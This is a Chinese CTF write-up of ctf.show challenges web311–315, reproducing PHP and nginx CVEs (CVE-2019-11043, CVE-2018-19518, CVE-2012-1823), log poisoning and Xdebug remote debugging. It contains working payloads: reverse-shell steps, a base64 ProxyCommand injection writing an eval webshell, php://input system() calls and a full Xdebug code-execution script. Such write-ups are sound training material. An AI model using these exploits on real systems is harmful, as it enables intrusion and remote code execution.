web311

image-20220327202246716

有点熟悉

image-20220327202304600

提示cve,先查看下版本

image-20220327202509029

X-Powered-By:PHP/7.1.33dev这个是告知网站是用何种语言或者框架编写的,可以在php.ini中增加或者修改expose_php=off进行关闭

那么这里就需要去寻找这个版本的php漏洞了

image-20220327204633548

搜到一个

CVE-2019-11043复现与学习

CVE2019-11043是一个远程代码执行漏洞,使用某些特定的Nginx+PHP-FPM的服务器存在漏洞,可以远程代码执行

向Nginx+PHP-FPM的服务器URL发送%0a时,服务器返回异常,该漏洞需要在nginx.conf中进行特定配置才能出发

location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}

PHP的很多框架里面都是通过获取$_SERVER[‘PATH_INFO’]处理路由,这个变量是通过nginx传递过来的,我们在nginx中经常见到

fastcgi_split_path_info ^(.+\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;

nginx默认获取不到PATH_INFO的值,得通过fastcgi_split_path_info指定的正则表达式来获取值,^(.+.php)(/.*)$;增正则表达式有两个括号,也就是有两个捕获,第二个捕获到的值会自动重新赋值给$fastcgi_path_info变量,第一个捕获到的值会重新赋值给$fastcgi_script_name变量.

如果访问.index.php/test,第二个捕获的是/test $fastcgi_path_info就是/test,因此就会把/test传递给php的$SERVER[‘PATH_INFO’]

回到本题,这里可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp.Regexp被破坏导致PATH_INFO为空,从而触发该漏洞

开启docker环境

docker-compose up -d

image-20220327212614758

image-20220327212708758

访问成功,利用 先安装go环境

sudo apt install golang		#安装go语言
go env -w GOPROXY=https://goproxy.cn #换一下国内镜像源
git clone https://github.com/neex/phuip-fpizdam.git #下载工具
cd phuip-fpizdam 进入目录
go get -v && go build #应该是编译代码(我也不知道)

image-20220327212937245

利用

image-20220327213043987

自己读一下显示信息就可以发现传a参数

image-20220327213224340

这里本地就复现成功了,但是没有反弹shell,这里才测试一下

image-20220327220145421

远程有点慢,多等等

image-20220327220209056

image-20220327220233885

反弹shell

这里面没有nc的命令.所以不能用nc的反弹shell

image-20220327213700809

给此docker容器装一个nc

image-20220327213917487

环境有两个 docker 镜像,一个是nginx,一个是 php

进入nginx的容器

image-20220327214132404

image-20220327214222725

装好了

image-20220327214456106

远程执行nc 本地监听端口

image-20220327214506625

执行之后发现并没有成功

接着在php镜像里面再次尝试

image-20220327214953377

image-20220327215011377

image-20220327215129345

发现成功了

反弹shell试试

image-20220327215256336

image-20220327215303963

image-20220327215404083

web312

image-20220331140540111

先给一个正确的服务器地址 返回了php版本

image-20220331140600102

php=5.6.38

image-20220331140639154

错误的返回了nginx/1.21.1版本

百度这个版本搜到了这

image-20220331141557179

image-20220331142539347

CVE-2018-19518复现与学习

image-20220331142924422

本地起一下环境,正确的长这样

image-20220331143317937

firefox访问上一个环境有缓存了

image-20220331143400397

image-20220331143428435

image-20220331143449921

对自己想要发的内容进行一次base64编码

<?php @eval($_POST[zf]);?>
PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4=

将文件写入zf.php

echo "PD9waHAgQGV2YWwoJF9QT1NUW3pmXSk7Pz4="|base64 -d >/var/www/html/zf.php

然后对这个在进行base64编码

ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw

如果进行base64编码后,含有+=,都要进行url编码即%2b %3d,所以为了不出错,最好在对得到的base64编码后的字符进行url编码

ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw

然后将hostname换成x+-oProxyCommand%3decho%09[编码后内容]|base64%09-d|sh}

x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNwbVhTazdQejQ9InxiYXNlNjQgLWQgPi92YXIvd3d3L2h0bWwvemYucGhw|base64%09-d|sh}

image-20220331151507363

image-20220331151515659

image-20220331151536256

image-20220331151705536

web313

image-20220404184933022

image-20220404185756088

搜到一个cve-2012-1823

简单来说,就是用户请求的querystring被作为了php-cgi的参数,最终导致了一系列结果。

启动下靶场

image-20220404192923380

?-s直接显示源码

image-20220404192957710

还可以通过-d指定auto_prepend_file来制造任意文件包含漏洞

?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

POST
<?php system('nl `ls`');?>

image-20220404193447715

image-20220404200331811

image-20220404200651329

image-20220404200704734

web314

 <?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
include($file);
}

?f=/var/log/nginx/access.log

日志包含,修改ua

image-20220404201716443

image-20220404201644899

写一句话,直接蚁剑连了

image-20220404202010697

当然也可以session条件竞争,不过没到点不让玩

web315

xdebug是php的一个扩展,用于调试php代码,如果目标开启了远程调试模式,并设置remote_connect_bask=1

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接。

本地测试一下

image-20220404203311537

image-20220404203317640

是一个phpinfo页面

image-20220404203928176

先监听一个9000端口,在访问页面,如果有反应就存在.就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back

curl 'http://192.168.5.149:8080/index.php?XDEBUG_SESSION_START=phpstorm' -H "X-Forwarded:192.168.5.139"

image-20220404203917613

利用脚本

#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor

pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}


def recv_xml(sock):
blocks = []
data = b''
while True:
try:
data = data + sock.recv(1024)
except socket.error as e:
break
if not data:
break

while data:
eop = data.find(b'\x00')
if eop < 0:
break
blocks.append(data[:eop])
data = data[eop + 1:]

if len(blocks) >= 4:
break

return blocks[3]


def trigger(url):
time.sleep(2)
try:
session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
except:
pass


if __name__ == '__main__':
parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
parser.add_argument('-t', '--target', required=True, help='target url.')
parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
args = parser.parse_args()

ip_port = ('0.0.0.0', args.listen)
sk = socket.socket()
sk.settimeout(10)
sk.bind(ip_port)
sk.listen(5)

pool.submit(trigger, args.target)
conn, addr = sk.accept()
conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

data = recv_xml(conn)
print('[+] Recieve data: ' + data.decode())
g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
if not g:
print('[-] No result...')
sys.exit(0)

data = g.group(1)

try:
print('[+] Result: ' + base64.b64decode(data).decode())
except binascii.Error:
print('[-] May be not string result...')
python py2.py -t http://192.168.5.149:8080/index.php -c "shell_exec('id');"

image-20220404204854544

因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网)。

远程

python e.py -t http://f5720fbb-d704-4892-b328-63480e7341bc.challenge.ctf.show/index.php -c "shell_exec('id');"
curl 'http://9def021a-8a10-4b73-a5e3-0b2d9a9f80d0.challenge.ctf.show/index.php?XDEBUG_SESSION_START=phpstorm' -H "X-Forwarded:https://c368-112-38-217-12.ngrok.io"
python exp.py -t http://49.235.148.38:28100/index.php -c "shell_exec('id');"